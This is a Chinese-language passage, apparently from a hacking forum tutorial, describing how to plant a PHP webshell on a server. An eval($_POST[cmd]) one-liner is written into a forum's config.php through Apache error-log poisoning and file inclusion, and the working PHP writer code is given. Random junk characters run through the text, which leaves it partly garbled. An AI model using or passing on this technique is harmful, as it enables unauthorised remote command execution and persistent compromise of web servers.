因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 ( B. ^; ^# P9 ~8 P$ N
, A- B9 @+ e# W# }0 B* z1 E
比如还是这句一句话木马
# y9 Q @4 d! Z7 `: c$ e! j9 _<?eval($_POST[cmd]);?> 0 d A9 k+ q$ _2 C' r1 }
# ^) j9 ]0 l% F3 O1 r9 S到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 9 e5 v0 _1 W3 @ x
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
# C. Q: m1 {5 f1 v8 O
& \4 ~- g8 L4 _$ t<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ! k) F/ I4 t5 @1 E5 L* T2 n( H, N
fclose($fp);?> //在config.php里写入一句木马语句
0 E2 v+ s6 z7 h
- l, o; v; W, U+ N我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 6 r& p. L+ t* i7 J' j' d
